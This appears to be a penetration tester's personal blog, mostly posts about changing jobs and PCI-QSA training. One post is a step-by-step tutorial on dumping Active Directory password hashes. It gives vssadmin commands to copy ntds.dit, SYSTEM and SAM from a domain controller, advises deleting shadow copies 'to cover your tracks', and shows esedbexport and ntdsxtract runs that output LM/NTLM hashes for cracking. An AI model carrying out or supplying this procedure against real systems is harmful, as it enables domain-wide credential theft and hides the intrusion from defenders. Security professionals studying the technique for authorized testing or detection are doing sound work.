Starting a new job

I have Left Sword & Shield to take a better opportunity with Coalfire Systems.

There were multiple reasons for leaving Sword & Shield, and most of them are related to one individual that has moved up the ranks in the company. He was originally hired to do report reviews five years back, and is now the Senior VP of services. Since his move into management there has been a drastic exodus of highly qualified personnel from the company. One major issue is that the CEO/President, Executive VP and COO do not even notice the main reason for the high personnel turnover.

Since I turned in my notice, the CEO and COO have completely ignored me. Walking down the hallway, I always say hello to everyone, and usually get a hello back from whomever is there. Not lately; had multiple encounters with the C suite and they literally walk past me as if I was not there.

I wish all my former colleagues well in there endeavors and hope things get better.


Share via email Share
Posted in 2016, PCI, Work | Leave a comment

Splitting my time between 2 bosses

So my move over to the PCI-QSA world has been extremely slow, primarily due to upper management. I have been currently splitting my time between doing penetration testing and QSA work. It has not been an easy process working for two bosses who have different scheduling styles. One gives me my schedule months out, and the other will send me an email days before he expects me to start working on a project. This does not always work well since the one boss does not usually look at my calendar to see if I will be available. So I get scheduled to do a penetration test when I will be onsite at a customers doing PCI work. Usually never works out in my favor, and makes for working long hours, with no compensation for it.

My bosses boss (our COO) said that on Jan 1 2016 I will move over to the PCI group but will still need to assist the penetration testing group with some projects. Not sure that is actually going to happen. The one thing that makes this a pain is they already hired a person to fill me on the team, but another person left in November leaving another shortage. The interesting thing is this same issue I am having with moving groups is the same reason I left the company the first time I worked there.

Only time will tell if I actually get to do my new job or if I am stuck being split between bosses.

Share via email Share
Posted in 2015, PCI, Rants, Security, Work | Comments Off on Splitting my time between 2 bosses

Getting Hashes From NTDS.dit File – Updated Version

Decided to update my original post on getting hashes from NTDS.dit file.

Once you have access to a domain controller, the first step is to copy the needed files from the Volume Shadow Copy or create a copy if needed. I generally prefer to create a new copy, so I know it has the latest information.
Get ntds.dit and SYSTEM from Volume Shadow Copy on Host
Luckily Windows has built in tools to assist with collecting the files needed.

Vssadmin tool
List Volume Shadow Copies on the system:

    C:\vssadmin list shadows

Example: ‘vssadmin list shadows’ no Shadows Available

C:\>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.

No items found that satisfy the query.

Create a new Volume Shadow Copy of the current drive:

C:\vssadmin create shadow /for=C:

Example: ‘vssadmin create shadow’ copy:

C:\>vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.

Successfully created shadow copy for 'c:\'
 Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}
 Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Pull files from the Volume Shadow copy: (EXAMPLES)
The volume shadow copy looks similar to the lines below:

\\?\GLOBALROOT\Device\<SHADOWYCOPY DISK>\windows\<directory>\<File> <where to put file>

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .

[X] Refers to the shadow copy number, in the examples above the latest versions is HarddiskVolumeShadowCopy1
(there could be multiple copies, use the last one listed)

Registry Save

I also recommend getting a current copy of SYSTEM from the registry just in case.
Having had a couple times where the SYSTEM file from the shadow copy was corrupt.


Delete the shadows to cover your tracks:

vssadmin delete shadows /for=<ForVolumeSpec> [/oldest | /all | /shadow=<ShadowID>] [/quiet]

 vssadmin delete shadows /for=C: /shadow=e8eb7931-5056-4f7d-a5d7-05c30da3e1b3

Now that you have the files, it is time to get the hashes
Utilities needed:

 • libesedb
 • ntdsxtract

Download libesedb: (Use which ever method you are comfortable with below)

Release Code:
(Download and unzip)

Compile Code:

git clone
cd libesedb/
esedbexport usage:
Use esedbexport to export items stored in an Extensible Storage Engine (ESE)
Database (EDB) file

Usage: esedbexport [ -c codepage ] [ -l logfile ] [ -m mode ] [ -t target ]
 [ -T table_name ] [ -hvV ] source 

source: the source file

-c: codepage of ASCII strings, options: ascii, windows-874,
 windows-932, windows-936, windows-1250, windows-1251,
 windows-1252 (default), windows-1253, windows-1254
 windows-1255, windows-1256, windows-1257 or windows-1258
 -h: shows this help
 -l: logs information about the exported items
 -m: export mode, option: all, tables (default)
 'all' exports all the tables or a single specified table with indexes,
 'tables' exports all the tables or a single specified table
 -t: specify the basename of the target directory to export to
 (default is the source filename) esedbexport will add the suffix
 .export to the basename
 -T: exports only a specific table
 -v: verbose output to stderr
 -V: print version
 Runing esedbexport to extract ntds.dit data:
 ./esedbexport -t <Directory to export data to(.export will be added to the end)> <ntds.dit file>
 # ./esedbexport -t ~/ntds ~/ntds.dit
 esedbexport 20150409

Opening file.
 Exporting table 1 (MSysObjects) out of 11.
 Exporting table 2 (MSysObjectsShadow) out of 11.
 Exporting table 3 (MSysUnicodeFixupVer1) out of 11.
 Exporting table 4 (datatable) out of 11.
 Exporting table 5 (link_table) out of 11.
 Exporting table 6 (hiddentable) out of 11.
 Exporting table 7 (sdproptable) out of 11.
 Exporting table 8 (sd_table) out of 11.
 Exporting table 9 (quota_table) out of 11.
 Exporting table 10 (quota_rebuild_progress_table) out of 11.
 Exporting table 11 (MSysDefrag1) out of 11.
 Export completed.

(Depending on the number of user accounts this can take some time to generate)
Extracted files:
# ls ~/ntdis.export/


git clone
Usage for
DSUsers v1.3.3
Extracts information related to user objects

usage: ./ <datatable> <linktable> <work directory> [option]

The path to the file called datatable extracted by esedbexport
The path to the file called linktable extracted by esedbexport
work directory
The path to the directory where ntdsxtract should store its cache files and output files. If the directory does not exist it will be created.

–sid <user sid>
List user identified by SID
–guid <user guid>
List user identified by GUID
–name <user name regexp>
List user identified by the regular expression
List only active accounts
List only locked accounts
–syshive <path to system hive>
Required for password hash and history extraction
This option should be specified before the password hash
and password history extraction options!
–lmoutfile <name of the LM hash output file>
–ntoutfile <name of the NT hash output file>
–pwdformat <format of the hash output>
ophc – OphCrack format
When this format is specified the NT output file will be used
john – John The Ripper format
ocl – oclHashcat format
When this format is specified the NT output file will be used
Extract password hashes
Extract password history
Extract certificates
Extract supplemental credentials (e.g.: clear text passwords,
kerberos keys)
List groups of which the user is a member
–csvoutfile <name of the CSV output file>
The filename of the csv file to which ntdsxtract should write the
–debug <name of the CSV output file>
Turn on detailed error messages and stack trace
Extracting user info:
python <datatable> <linktable> <work directory> [option]
(datatable and linktable are from the previously extracted files)

–lmoutfile (output file for LM hashes)
–ntoutfile (output file for NTLM hashes
–pwdformat john (output in JTR format)
–syshive (SYSTEM file from system where the NTDS.dit was retrieved)

# python <DATATABLE FILE> <LINKTABLE FILE> <DIRECTORY TO WORK IN> –passwordhashes –lmoutfile <LM OUT FILE> –ntoutfile <NTLM OUT FILE> –pwdformat john –syshive <SYSTEM FILE>

(Add –passwordhistory to get previous hashes for each user, will vary on number hashes based on Domain settings for password history)

Example Output in JTR Format:
 # python ~/ntds.export/datatable.3 ~/ntds.export/link_table.4 ~/TEMP --passwordhashes --lmoutfile LM.out --ntoutfile NT.out --pwdformat john --syshive ~/SYSTEM

 [+] Started at: Wed, 22 Apr 2015 01:47:11 UTC
 [+] Started with options:
 [-] Extracting password hashes
 [-] LM hash output filename: LM.out
 [-] NT hash output filename: NT.out
 [-] Hash output format: john The directory (/root/TEMP) specified does not exists!
 Would you like to create it? [Y/N] y
 [+] Initialising engine...
 [+] Loading saved map files (Stage 1)...
 [!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/root/TEMP/' [+] Rebuilding maps...
 [+] Scanning database - 100% -> 40933 records processed
 [+] Sanity checks...
 Schema record id: 1481
 Schema type id: 10
 [+] Extracting schema information - 100% -> 4142 records processed
 [+] Loading saved map files (Stage 2)...
 [!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/root/TEMP/'
 [+] Rebuilding maps...
 [+] Extracting object links...
 List of users:
 (This will scroll across the screen for a while depending on the number of accounts in the Domain)

Record ID: 32777
 User name: FName LName
 User principal name:
 SAM Account name: name
 GUID: 14a15a2a-887a-4444-a54a-aa6a4a689a00
 SID: S-1-5-21-350701555-3721294507-2303513147-3801
 When created: 2005-06-01 13:50:37
 When changed: 2013-12-12 15:08:12
 Account expires: Never
 Password last set: 2013-10-07 13:20:19.146593
 Last logon: 2013-12-11 18:35:10.166785
 Last logon timestamp: 2013-12-12 15:08:12.281517
 Bad password time 2013-12-11 00:04:52.446209
 Logon count: 6239
 Bad password count: 0
 User Account Control:
 $ROOT_OBJECT$ local DOMAIN JOB Users FName LName
 Password hashes:

(Once this finishes you will have the new files with LM hashes and NTLM hashes in your working directory)
Now you have what you need it is time to start cracking passwords to get to that data you wanted…

Share via email Share
Posted in 2015, Fun, Hashes, Security, Work | Comments Off on Getting Hashes From NTDS.dit File – Updated Version

PCI-QSA Training

Spent the past 2 days in Boston in the PCI-QSA training class. Taking the exam the last hour and a half of the class, but will not know the results until a week or two later. The Class was interesting, and I learned a little bit of information from the instructor on his perspective of doing assessments. I meat several interesting people, from all over the world, and working for different companies. I though it very interesting talking to the people working for the accounting firms, and how they were using the QSA certification with their clients. Most of them were doing just gap analyst and not actually signing ROCs for clients.

Well hope to hear if I passed….

Share via email Share
Posted in 2015, Certifications, PCI, Work | Comments Off on PCI-QSA Training

Moving in to the PCI-QSA realm

Working on moving from being a penetration tester (pentester) into a risk and compliance, specifically PCI-QSA position. Several people have asked me if I have gone crazy, but the answer would be no (well I do not think I am going crazy at least). While I do enjoy being a pentester, I am just looking at moving into a position that will allow me to move into a management position somewhere later on. I figure with the experience of being a pentester and a QSA will give me a broader perspective.

Took the PCI fundamentals course the other day, and completed the exam at the end to allow me to sit for the actual QSA course/exam. I was actually surprised at the content that was needed to go over to take the fundamentals test. Scheduled to go to Boston on June 18 to take the course, and will sit for the exam at the end of the course. Hope I am a little more prepared to take the exam than I was for the fundamentals course.


Share via email Share
Posted in 2015, Certifications, PCI, Security, Work | Comments Off on Moving in to the PCI-QSA realm